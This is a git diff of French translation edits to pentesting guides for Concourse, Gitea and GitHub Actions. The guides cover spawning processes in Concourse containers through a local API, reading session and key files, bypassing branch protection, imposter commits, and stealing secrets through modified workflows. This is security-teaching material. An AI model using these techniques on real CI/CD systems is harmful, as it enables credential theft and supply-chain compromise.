concourse, j'ai remarqué que lorsqu'un nouveau conteneur est créé pour exécuter quelque chose, les processus du conteneur sont accessibles depuis le conteneur de travailleur, donc c'est comme un conteneur créant un nouveau conteneur à l'intérieur de lui. +Notez qu'en jouant avec concourse, j'ai remarqué que lorsqu'un nouveau conteneur est créé pour exécuter quelque chose, les processus du conteneur sont accessibles depuis le conteneur du travailleur, donc c'est comme un conteneur créant un nouveau conteneur à l'intérieur de lui. **Entrer dans un conteneur privilégié en cours d'exécution** ```bash @@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` -Cependant, le serveur web vérifie toutes les quelques secondes les conteneurs qui s'exécutent, et si un conteneur inattendu est découvert, il sera supprimé. Comme la communication se fait en HTTP, vous pourriez altérer la communication pour éviter la suppression de conteneurs inattendus : +Cependant, le serveur web vérifie toutes les quelques secondes les conteneurs en cours d'exécution, et si un conteneur inattendu est découvert, il sera supprimé. Comme la communication se fait en HTTP, vous pourriez altérer la communication pour éviter la suppression de conteneurs inattendus : ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index b426dc31a..f29b8268c 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` -Après avoir généré l'environnement concourse, vous pouvez générer un secret et donner un accès au SA exécuté dans concourse web pour accéder aux secrets K8s : +Après avoir généré l'environnement concourse, vous pourriez générer un secret et donner un accès au SA fonctionnant dans concourse web pour accéder aux secrets K8s : ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -123,15 +123,15 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` -Vérifiez **127.0.0.1:8080** pour voir le flux de pipeline. +Vérifiez **127.0.0.1:8080** pour voir le flux de la pipeline. -### Script Bash avec pipeline de sortie/entrée +### Script Bash avec pipeline d'entrée/sortie -Il est possible de **sauvegarder les résultats d'une tâche dans un fichier** et d'indiquer que c'est une sortie, puis d'indiquer l'entrée de la tâche suivante comme la sortie de la tâche précédente. Ce que concourse fait, c'est **monter le répertoire de la tâche précédente dans la nouvelle tâche où vous pouvez accéder aux fichiers créés par la tâche précédente**. +Il est possible de **sauvegarder les résultats d'une tâche dans un fichier** et d'indiquer que c'est une sortie, puis d'indiquer l'entrée de la tâche suivante comme la sortie de la tâche précédente. Ce que fait concourse, c'est de **monter le répertoire de la tâche précédente dans la nouvelle tâche où vous pouvez accéder aux fichiers créés par la tâche précédente**. ### Déclencheurs -Vous n'avez pas besoin de déclencher les travaux manuellement chaque fois que vous devez les exécuter, vous pouvez également les programmer pour qu'ils s'exécutent à chaque fois : +Vous n'avez pas besoin de déclencher les jobs manuellement chaque fois que vous devez les exécuter, vous pouvez également les programmer pour qu'ils s'exécutent à chaque fois : - Un certain temps passe : [Time resource](https://github.com/concourse/time-resource/) - Sur de nouveaux commits dans la branche principale : [Git resource](https://github.com/concourse/git-resource) diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index 4bfcf65ea..c41185171 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -1,4 +1,4 @@ -# Gitea Security +# Sécurité de Gitea {{#include ../../banners/hacktricks-training.md}} @@ -39,7 +39,7 @@ Notez qu'en **default Gitea permet aux nouveaux utilisateurs de s'inscrire**. Ce Pour ce scénario, nous allons supposer que vous avez obtenu un accès à un compte github. -### Avec les identifiants de l'utilisateur/Cookie Web +### Avec les identifiants de l'utilisateur / Cookie Web Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation (ou si vous avez volé un cookie de session), vous pouvez **simplement vous connecter** et vérifier quels **permissions vous avez** sur quels **repos,** dans **quelles équipes** vous êtes, **lister d'autres utilisateurs**, et **comment les repos sont protégés.** @@ -52,15 +52,15 @@ Notez que **2FA peut être utilisé** donc vous ne pourrez accéder à ces infor Gitea permet aux **utilisateurs** de définir des **clés SSH** qui seront utilisées comme **méthode d'authentification pour déployer du code** en leur nom (aucune 2FA n'est appliquée). -Avec cette clé, vous pouvez effectuer **des modifications dans les dépôts où l'utilisateur a des privilèges**, cependant vous ne pouvez pas l'utiliser pour accéder à l'API gitea pour énumérer l'environnement. Cependant, vous pouvez **énumérer les paramètres locaux** pour obtenir des informations sur les repos et l'utilisateur auquel vous avez accès : +Avec cette clé, vous pouvez effectuer des **modifications dans les dépôts où l'utilisateur a des privilèges**, cependant vous ne pouvez pas l'utiliser pour accéder à l'API gitea afin d'énumérer l'environnement. Cependant, vous pouvez **énumérer les paramètres locaux** pour obtenir des informations sur les repos et l'utilisateur auquel vous avez accès : ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -Si l'utilisateur a configuré son nom d'utilisateur comme son nom d'utilisateur gitea, vous pouvez accéder aux **clés publiques qu'il a définies** dans son compte à _https://github.com/\.keys_, vous pourriez vérifier cela pour confirmer que la clé privée que vous avez trouvée peut être utilisée. +Si l'utilisateur a configuré son nom d'utilisateur comme son nom d'utilisateur gitea, vous pouvez accéder aux **clés publiques qu'il a définies** dans son compte à _https://github.com/\.keys_, vous pouvez vérifier cela pour confirmer que la clé privée que vous avez trouvée peut être utilisée. -Les **clés SSH** peuvent également être définies dans les dépôts comme **clés de déploiement**. Quiconque ayant accès à cette clé pourra **lancer des projets à partir d'un dépôt**. En général, sur un serveur avec différentes clés de déploiement, le fichier local **`~/.ssh/config`** vous donnera des informations sur la clé à laquelle il est lié. +Les **clés SSH** peuvent également être définies dans les dépôts en tant que **clés de déploiement**. Quiconque ayant accès à cette clé pourra **lancer des projets à partir d'un dépôt**. En général, sur un serveur avec différentes clés de déploiement, le fichier local **`~/.ssh/config`** vous donnera des informations sur la clé à laquelle il est lié. #### Clés GPG @@ -101,7 +101,7 @@ Notez que **si vous êtes un admin d'org/repo**, vous pouvez contourner les prot Les **webhooks** sont capables d'**envoyer des informations spécifiques de gitea à certains endroits**. Vous pourriez être en mesure de **exploiter cette communication**.\ Cependant, généralement, un **secret** que vous ne pouvez **pas récupérer** est défini dans le **webhook** qui **empêchera** les utilisateurs externes qui connaissent l'URL du webhook mais pas le secret d'**exploiter ce webhook**.\ -Mais dans certaines occasions, les gens au lieu de définir le **secret** à sa place, le **mettent dans l'URL** comme paramètre, donc **vérifier les URL** pourrait vous permettre de **trouver des secrets** et d'autres endroits que vous pourriez exploiter davantage. +Mais dans certaines occasions, les gens au lieu de définir le **secret** à sa place, ils **le définissent dans l'URL** comme paramètre, donc **vérifier les URL** pourrait vous permettre de **trouver des secrets** et d'autres endroits que vous pourriez exploiter davantage. Les webhooks peuvent être définis au **niveau du dépôt et au niveau de l'org**. @@ -115,8 +115,8 @@ Dans ce fichier, vous pouvez trouver des **clés** et des **mots de passe**. Dans le chemin gitea (par défaut : /data/gitea), vous pouvez également trouver des informations intéressantes comme : -- La **DB sqlite** : Si gitea n'utilise pas une DB externe, il utilisera une DB sqlite. -- Les **sessions** dans le dossier des sessions : En exécutant `cat sessions/*/*/*`, vous pouvez voir les noms d'utilisateur des utilisateurs connectés (gitea pourrait également enregistrer les sessions dans la DB). +- La base de données **sqlite** : Si gitea n'utilise pas une base de données externe, il utilisera une base de données sqlite. +- Les **sessions** dans le dossier des sessions : En exécutant `cat sessions/*/*/*`, vous pouvez voir les noms d'utilisateur des utilisateurs connectés (gitea pourrait également enregistrer les sessions dans la base de données). - La **clé privée jwt** dans le dossier jwt. - Plus d'**informations sensibles** pourraient être trouvées dans ce dossier. diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index 1206915d5..23c8ff43f 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -4,9 +4,9 @@ ## Structure de base -La structure de base de l'environnement Gitea est de regrouper les dépôts par **organisation(s)**, chacune d'elles pouvant contenir **plusieurs dépôts** et **plusieurs équipes**. Cependant, notez que tout comme sur GitHub, les utilisateurs peuvent avoir des dépôts en dehors de l'organisation. +La structure de base de l'environnement Gitea consiste à regrouper les dépôts par **organisation(s)**, chacune d'elles pouvant contenir **plusieurs dépôts** et **plusieurs équipes**. Cependant, notez que tout comme sur GitHub, les utilisateurs peuvent avoir des dépôts en dehors de l'organisation. -De plus, un **utilisateur** peut être **membre de différentes organisations**. Au sein de l'organisation, l'utilisateur peut avoir **différentes permissions sur chaque dépôt**. +De plus, un **utilisateur** peut être **membre** de **différentes organisations**. Au sein de l'organisation, l'utilisateur peut avoir **différentes permissions sur chaque dépôt**. Un utilisateur peut également être **partie de différentes équipes** avec différentes permissions sur différents dépôts. @@ -38,7 +38,7 @@ Lors de la création d'une nouvelle équipe, plusieurs paramètres importants so ### Équipes & Utilisateurs -Dans un dépôt, l'**admin d'org** et les **admins de dépôt** (si autorisé par l'org) peuvent **gérer les rôles** attribués aux collaborateurs (autres utilisateurs) et aux équipes. Il y a **3** rôles possibles : +Dans un dépôt, l'**admin d'org** et les **admins de dépôt** (si autorisés par l'org) peuvent **gérer les rôles** attribués aux collaborateurs (autres utilisateurs) et aux équipes. Il y a **3** rôles possibles : - Administrateur - Écrire @@ -48,7 +48,7 @@ Dans un dépôt, l'**admin d'org** et les **admins de dépôt** (si autorisé pa ### Accès Web -Utiliser **nom d'utilisateur + mot de passe** et potentiellement (et recommandé) une 2FA. +Utilisation de **nom d'utilisateur + mot de passe** et potentiellement (et recommandé) un 2FA. ### **Clés SSH** @@ -56,7 +56,7 @@ Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permet #### **Clés GPG** -Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés** mais si vous ne l'utilisez pas, il pourrait être possible que vous **soyez découvert pour avoir envoyé des commits sans signature**. +Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés**, mais si vous ne l'utilisez pas, il pourrait être possible que vous **soyez découvert pour avoir envoyé des commits sans signature**. ### **Jetons d'accès personnels** @@ -76,10 +76,10 @@ Les clés de déploiement peuvent avoir un accès en lecture seule ou en écritu Les protections de branche sont conçues pour **ne pas donner un contrôle complet d'un dépôt** aux utilisateurs. L'objectif est de **mettre plusieurs méthodes de protection avant de pouvoir écrire du code dans une certaine branche**. -Les **protections de branche d'un dépôt** peuvent être trouvées à _https://localhost:3000/\/\/settings/branches_ +Les **protections de branche d'un dépôt** peuvent être trouvées sur _https://localhost:3000/\/\/settings/branches_ > [!NOTE] -> Il est **impossible de définir une protection de branche au niveau de l'organisation**. Donc, toutes doivent être déclarées sur chaque dépôt. +> Il **n'est pas possible de définir une protection de branche au niveau de l'organisation**. Donc, toutes doivent être déclarées sur chaque dépôt. Différentes protections peuvent être appliquées à une branche (comme à master) : @@ -91,7 +91,7 @@ Différentes protections peuvent être appliquées à une branche (comme à mast - **Exiger des approbations** : Indiquer le nombre d'approbations requises avant qu'une PR puisse être fusionnée. - **Restreindre les approbations aux utilisateurs sur liste blanche** : Indiquer les utilisateurs/équipes qui peuvent approuver les PRs. - **Bloquer la fusion sur des revues rejetées** : Si des modifications sont demandées, elle ne peut pas être fusionnée (même si les autres vérifications réussissent) -- **Bloquer la fusion sur des demandes de révision officielles** : S'il y a des demandes de révision officielles, elle ne peut pas être fusionnée +- **Bloquer la fusion sur des demandes de révision officielles** : Si des demandes de révision officielles existent, elle ne peut pas être fusionnée - **Rejeter les approbations obsolètes** : Lors de nouveaux commits, les anciennes approbations seront rejetées. - **Exiger des commits signés** : Les commits doivent être signés. - **Bloquer la fusion si la demande de tirage est obsolète** diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 660575c0f..cd328452c 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -55,7 +55,7 @@ Il est possible de **compromettre des dépôts en abusant des demandes de tirage ### Fuites Github dans des forks supprimés/internes -Même s'ils sont supprimés ou internes, il peut être possible d'obtenir des données sensibles à partir de forks de dépôts github. Vérifiez ici : +Même si supprimé ou interne, il peut être possible d'obtenir des données sensibles à partir de forks de dépôts github. Vérifiez ici : {{#ref}} accessible-deleted-data-in-github.md @@ -65,19 +65,19 @@ accessible-deleted-data-in-github.md ### Privilèges des membres -Il existe certains **privilèges par défaut** qui peuvent être attribués aux **membres** de l'organisation. Ceux-ci peuvent être contrôlés depuis la page `https://github.com/organizations//settings/member_privileges` ou depuis l'[**API des organisations**](https://docs.github.com/en/rest/orgs/orgs). +Il existe certains **privilèges par défaut** qui peuvent être attribués aux **membres** de l'organisation. Ceux-ci peuvent être contrôlés depuis la page `https://github.com/organizations//settings/member_privileges` ou depuis l' [**API des organisations**](https://docs.github.com/en/rest/orgs/orgs). -- **Permissions de base** : Les membres auront la permission Aucune/Lire/Écrire/Admin sur les dépôts de l'organisation. Il est recommandé de choisir **Aucune** ou **Lire**. -- **Forking de dépôt** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à forker les dépôts de l'organisation. -- **Création de pages** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à publier des pages à partir des dépôts de l'organisation. Si nécessaire, vous pouvez autoriser la création de pages publiques ou privées. +- **Permissions de base** : Les membres auront la permission Aucune/Lire/écrire/Admin sur les dépôts de l'organisation. Il est recommandé de choisir **Aucune** ou **Lire**. +- **Forking de dépôt** : Si ce n'est pas nécessaire, il est préférable de **ne pas permettre** aux membres de forker les dépôts de l'organisation. +- **Création de pages** : Si ce n'est pas nécessaire, il est préférable de **ne pas permettre** aux membres de publier des pages à partir des dépôts de l'organisation. Si nécessaire, vous pouvez autoriser la création de pages publiques ou privées. - **Demandes d'accès à l'intégration** : Avec cela activé, les collaborateurs externes pourront demander l'accès aux applications GitHub ou OAuth pour accéder à cette organisation et à ses ressources. C'est généralement nécessaire, mais si ce n'est pas le cas, il est préférable de le désactiver. -- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_ +- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_ - **Changement de visibilité du dépôt** : Si activé, les **membres** avec des permissions **admin** pour le **dépôt** pourront **changer sa visibilité**. Si désactivé, seuls les propriétaires de l'organisation peuvent changer les visibilités des dépôts. Si vous **ne** voulez pas que les gens rendent les choses **publiques**, assurez-vous que cela est **désactivé**. -- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_ +- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_ - **Suppression et transfert de dépôt** : Si activé, les membres avec des permissions **admin** pour le dépôt pourront **supprimer** ou **transférer** des **dépôts** publics et privés. -- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_ +- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_ - **Autoriser les membres à créer des équipes** : Si activé, tout **membre** de l'organisation pourra **créer** de nouvelles **équipes**. Si désactivé, seuls les propriétaires de l'organisation peuvent créer de nouvelles équipes. Il est préférable d'avoir cela désactivé. -- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_ +- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_ - **D'autres choses peuvent être configurées** sur cette page, mais les précédentes sont celles qui sont les plus liées à la sécurité. ### Paramètres des Actions @@ -89,9 +89,9 @@ Plusieurs paramètres liés à la sécurité peuvent être configurés pour les - **Politiques des actions Github** : Cela vous permet d'indiquer quels dépôts peuvent exécuter des workflows et quels workflows doivent être autorisés. Il est recommandé de **spécifier quels dépôts** doivent être autorisés et de ne pas permettre à toutes les actions de s'exécuter. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Workflows de demandes de tirage de forks de collaborateurs externes** : Il est recommandé de **demander une approbation pour tous** les collaborateurs externes. +- **Exécuter des workflows de demandes de tirage de collaborateurs externes** : Il est recommandé de **demander une approbation pour tous** les collaborateurs externes. - _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_ -- **Exécuter des workflows à partir de demandes de tirage de forks** : Il est fortement **déconseillé d'exécuter des workflows à partir de demandes de tirage** car les mainteneurs de l'origine du fork auront la possibilité d'utiliser des jetons avec des permissions de lecture sur le dépôt source. +- **Exécuter des workflows à partir de demandes de tirage de forks** : Il est fortement **déconseillé d'exécuter des workflows à partir de demandes de tirage** car les mainteneurs de l'origine du fork auront la possibilité d'utiliser des tokens avec des permissions de lecture sur le dépôt source. - _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_ - **Permissions des workflows** : Il est fortement recommandé de **donner uniquement des permissions de lecture sur le dépôt**. Il est déconseillé de donner des permissions d'écriture et de création/d'approbation de demandes de tirage pour éviter l'abus du GITHUB_TOKEN donné aux workflows en cours d'exécution. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) @@ -109,14 +109,14 @@ Pour ce scénario, nous allons supposer que vous avez obtenu un accès à un com ### Avec les identifiants utilisateur -Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation, vous pouvez **vous connecter** et vérifier quels **rôles d'entreprise et d'organisation vous avez**, si vous êtes un membre ordinaire, vérifiez quels **permissions ont les membres ordinaires**, dans quels **groupes** vous êtes, quelles **permissions vous avez** sur quels **dépôts**, et **comment les dépôts sont protégés**. +Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation, vous pouvez **simplement vous connecter** et vérifier quels **rôles d'entreprise et d'organisation vous avez**, si vous êtes un membre ordinaire, vérifiez quels **permissions ont les membres ordinaires**, dans quels **groupes** vous êtes, quelles **permissions vous avez** sur quels **dépôts**, et **comment les dépôts sont protégés**. Notez que **2FA peut être utilisé**, donc vous ne pourrez accéder à ces informations que si vous pouvez également **passer cette vérification**. > [!NOTE] > Notez que si vous **parvenez à voler le cookie `user_session`** (actuellement configuré avec SameSite: Lax), vous pouvez **complètement usurper l'identité de l'utilisateur** sans avoir besoin d'identifiants ou de 2FA. -Vérifiez la section ci-dessous sur les [**contournements de protections de branches**](./#branch-protection-bypass) au cas où cela serait utile. +Vérifiez la section ci-dessous sur [**les contournements de protection des branches**](./#branch-protection-bypass) au cas où cela serait utile. ### Avec la clé SSH de l'utilisateur @@ -134,7 +134,7 @@ Les **clés SSH** peuvent également être définies dans les dépôts en tant q #### Clés GPG -Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), il est parfois nécessaire de signer les commits sinon vous pourriez être découvert. +Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), il est parfois nécessaire de signer les commits ou vous pourriez être découvert. Vérifiez localement si l'utilisateur actuel a une clé avec : ```shell @@ -176,15 +176,15 @@ abusing-github-actions/ ## Contournement de la protection des branches -- **Exiger un nombre d'approbations** : Si vous avez compromis plusieurs comptes, vous pourriez simplement accepter vos PR depuis d'autres comptes. Si vous n'avez que le compte à partir duquel vous avez créé la PR, vous ne pouvez pas accepter votre propre PR. Cependant, si vous avez accès à un environnement **Github Action** à l'intérieur du dépôt, en utilisant le **GITHUB_TOKEN**, vous pourriez être en mesure d'**approuver votre PR** et d'obtenir 1 approbation de cette manière. -- _Note pour cela et pour la restriction des propriétaires de code que généralement un utilisateur ne pourra pas approuver ses propres PR, mais si vous le pouvez, vous pouvez en abuser pour accepter vos PR._ -- **Rejeter les approbations lorsque de nouveaux commits sont poussés** : Si cela n'est pas configuré, vous pouvez soumettre du code légitime, attendre qu'il soit approuvé, puis ajouter du code malveillant et le fusionner dans la branche protégée. +- **Exiger un nombre d'approbations** : Si vous avez compromis plusieurs comptes, vous pourriez simplement accepter vos PRs d'autres comptes. Si vous n'avez que le compte à partir duquel vous avez créé la PR, vous ne pouvez pas accepter votre propre PR. Cependant, si vous avez accès à un **environnement d'action Github** à l'intérieur du dépôt, en utilisant le **GITHUB_TOKEN**, vous pourriez être en mesure d'**approuver votre PR** et d'obtenir 1 approbation de cette manière. +- _Remarque pour cela et pour la restriction des propriétaires de code que généralement un utilisateur ne pourra pas approuver ses propres PRs, mais si vous le pouvez, vous pouvez en abuser pour accepter vos PRs._ +- **Rejeter les approbations lorsque de nouveaux commits sont poussés** : Si cela n'est pas défini, vous pouvez soumettre du code légitime, attendre qu'il soit approuvé, puis mettre du code malveillant et le fusionner dans la branche protégée. - **Exiger des revues des propriétaires de code** : Si cela est activé et que vous êtes un propriétaire de code, vous pourriez faire en sorte qu'une **action Github crée votre PR et que vous l'approuviez vous-même**. - Lorsqu'un **fichier CODEOWNER est mal configuré**, Github ne se plaint pas mais ne l'utilise pas. Par conséquent, s'il est mal configuré, **la protection des propriétaires de code n'est pas appliquée.** - **Autoriser des acteurs spécifiés à contourner les exigences de demande de tirage** : Si vous êtes l'un de ces acteurs, vous pouvez contourner les protections de demande de tirage. -- **Inclure les administrateurs** : Si cela n'est pas configuré et que vous êtes administrateur du dépôt, vous pouvez contourner ces protections de branche. +- **Inclure les administrateurs** : Si cela n'est pas défini et que vous êtes administrateur du dépôt, vous pouvez contourner ces protections de branche. - **Détournement de PR** : Vous pourriez être en mesure de **modifier la PR de quelqu'un d'autre** en ajoutant du code malveillant, en approuvant la PR résultante vous-même et en fusionnant le tout. -- **Suppression des protections de branche** : Si vous êtes **administrateur du dépôt, vous pouvez désactiver les protections**, fusionner votre PR et rétablir les protections. +- **Suppression des protections de branche** : Si vous êtes un **administrateur du dépôt, vous pouvez désactiver les protections**, fusionner votre PR et rétablir les protections. - **Contourner les protections de poussée** : Si un dépôt **n'autorise que certains utilisateurs** à envoyer des poussées (fusionner du code) dans des branches (la protection de branche pourrait protéger toutes les branches en spécifiant le caractère générique `*`). - Si vous avez **un accès en écriture sur le dépôt mais que vous n'êtes pas autorisé à pousser du code** en raison de la protection de branche, vous pouvez toujours **créer une nouvelle branche** et à l'intérieur, créer une **action github qui est déclenchée lorsque du code est poussé**. Comme la **protection de branche ne protégera pas la branche tant qu'elle n'est pas créée**, ce premier envoi de code vers la branche **exécutera l'action github**. @@ -209,14 +209,14 @@ Notez que **après la création** de la branche, la **protection de la branche s - **Suppression** des **résultats** de workflow et des **branches** - Donner **plus de permissions à toute l'organisation** - Créer des **webhooks** pour exfiltrer des informations -- Inviter des **collaborateurs externes** +- Inviter **des collaborateurs externes** - **Supprimer** les **webhooks** utilisés par le **SIEM** -- Créer/modifier une **Github Action** avec une **porte dérobée** -- Trouver une **Github Action vulnérable à l'injection de commandes** via la modification de la valeur **secrète** +- Créer/modifier **Github Action** avec une **porte dérobée** +- Trouver **Github Action vulnérable à l'injection de commandes** via la modification de la valeur **secrète** -### Commits d'imposteur - Porte dérobée via des commits de repo +### Commits imposteurs - Porte dérobée via des commits de repo -Dans Github, il est possible de **créer une PR pour un repo à partir d'un fork**. Même si la PR n'est **pas acceptée**, un **commit** id à l'intérieur du repo original va être créé pour la version fork du code. Par conséquent, un attaquant **pourrait épingler à utiliser un commit spécifique d'un repo apparemment légitime qui n'a pas été créé par le propriétaire du repo**. +Dans Github, il est possible de **créer une PR pour un repo à partir d'un fork**. Même si la PR n'est **pas acceptée**, un **commit** id à l'intérieur du repo original sera créé pour la version fork du code. Par conséquent, un attaquant **pourrait épingler l'utilisation d'un commit spécifique d'un repo apparemment légitime qui n'a pas été créé par le propriétaire du repo**. Comme [**ceci**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index fdf1c644e..d18b76fa1 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,30 +1,30 @@ -# Abusing Github Actions +# Abuser des Github Actions {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base Dans cette page, vous trouverez : - Un **résumé de tous les impacts** d'un attaquant parvenant à accéder à une Github Action -- Différentes manières de **get access to an action** : +- Différentes manières d'**accéder à une action** : - Avoir des **permissions** pour créer l'action -- Abuser des déclencheurs liés aux **pull request** -- Abuser d'autres techniques d'accès **externes** +- Abuser des déclencheurs liés aux **pull requests** +- Abuser d'autres techniques d'**accès externe** - **Pivoting** à partir d'un dépôt déjà compromis - Enfin, une section sur les **techniques de post-exploitation pour abuser d'une action de l'intérieur** (causant les impacts mentionnés) -## Impacts Summary +## Résumé des impacts Pour une introduction sur [**Github Actions, consultez les informations de base**](../basic-github-information.md#github-actions). -Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **repository**, vous pourriez être en mesure de : +Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **dépôt**, vous pourriez être en mesure de : - **Voler des secrets** montés dans le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles qu'AWS et GCP. -- **Compromettre des déploiements** et d'autres **artifacts**. +- **Compromettre des déploiements** et d'autres **artéfacts**. - Si le pipeline déploie ou stocke des actifs, vous pourriez altérer le produit final, permettant une attaque de la chaîne d'approvisionnement. - **Exécuter du code dans des workers personnalisés** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes. -- **Écraser le code du repository**, en fonction des permissions associées au `GITHUB_TOKEN`. +- **Écraser le code du dépôt**, en fonction des permissions associées au `GITHUB_TOKEN`. ## GITHUB_TOKEN @@ -32,17 +32,17 @@ Ce "**secret**" (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token
-Ce token est le même qu'une **Github Application utilisera**, donc il peut accéder aux mêmes points de terminaison : [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Ce token est le même qu'une **application Github utilisera**, donc il peut accéder aux mêmes points de terminaison : [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui **permet l'accès inter-repository** au sein de GitHub, afin qu'un repo puisse accéder à d'autres repos internes en utilisant le `GITHUB_TOKEN`. +> Github devrait publier un [**flux**](https://github.com/github/roadmap/issues/74) qui **permet un accès inter-dépôts** au sein de GitHub, afin qu'un dépôt puisse accéder à d'autres dépôts internes en utilisant le `GITHUB_TOKEN`. Vous pouvez voir les **permissions** possibles de ce token ici : [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Notez que le token **expire après la fin du job**.\ +Notez que le token **expire après la fin du travail**.\ Ces tokens ressemblent à ceci : `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Certaines choses intéressantes que vous pouvez faire avec ce token : +Quelques choses intéressantes que vous pouvez faire avec ce token : {{#tabs }} {{#tab name="Merge PR" }} @@ -141,19 +141,19 @@ Il est possible de vérifier les permissions accordées à un Github Token dans ## Exécution Autorisée > [!NOTE] -> Ce serait la manière la plus simple de compromettre les actions Github, car ce cas suppose que vous avez accès à **créer un nouveau dépôt dans l'organisation**, ou avoir **des privilèges d'écriture sur un dépôt**. +> Ce serait le moyen le plus simple de compromettre les actions Github, car ce cas suppose que vous avez accès à **créer un nouveau dépôt dans l'organisation**, ou avoir **des privilèges d'écriture sur un dépôt**. > -> Si vous êtes dans ce scénario, vous pouvez simplement consulter les [techniques de post-exploitation](./#post-exploitation-techniques-from-inside-an-action). +> Si vous êtes dans ce scénario, vous pouvez simplement vérifier les [techniques de Post Exploitation](./#post-exploitation-techniques-from-inside-an-action). ### Exécution à partir de la Création de Dépôt -Dans le cas où les membres d'une organisation peuvent **créer de nouveaux dépôts** et que vous pouvez exécuter des actions github, vous pouvez **créer un nouveau dépôt et voler les secrets définis au niveau de l'organisation**. +Dans le cas où des membres d'une organisation peuvent **créer de nouveaux dépôts** et que vous pouvez exécuter des actions github, vous pouvez **créer un nouveau dépôt et voler les secrets définis au niveau de l'organisation**. ### Exécution à partir d'une Nouvelle Branche Si vous pouvez **créer une nouvelle branche dans un dépôt qui contient déjà une Action Github** configurée, vous pouvez **la modifier**, **télécharger** le contenu, puis **exécuter cette action depuis la nouvelle branche**. De cette manière, vous pouvez **exfiltrer les secrets au niveau du dépôt et de l'organisation** (mais vous devez savoir comment ils sont appelés). -Vous pouvez rendre l'action modifiée exécutable **manuellement**, lorsqu'un **PR est créé** ou lorsque **du code est poussé** (selon le niveau de discrétion que vous souhaitez avoir) : +Vous pouvez rendre l'action modifiée exécutable **manuellement,** lorsqu'un **PR est créé** ou lorsque **du code est poussé** (selon le niveau de bruit que vous souhaitez faire) : ```yaml on: workflow_dispatch: # Launch manually @@ -209,7 +209,7 @@ Et celui-ci aura **accès aux secrets**. Le déclencheur [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permet d'exécuter un workflow à partir d'un autre lorsqu'il est `complété`, `demandé` ou `en 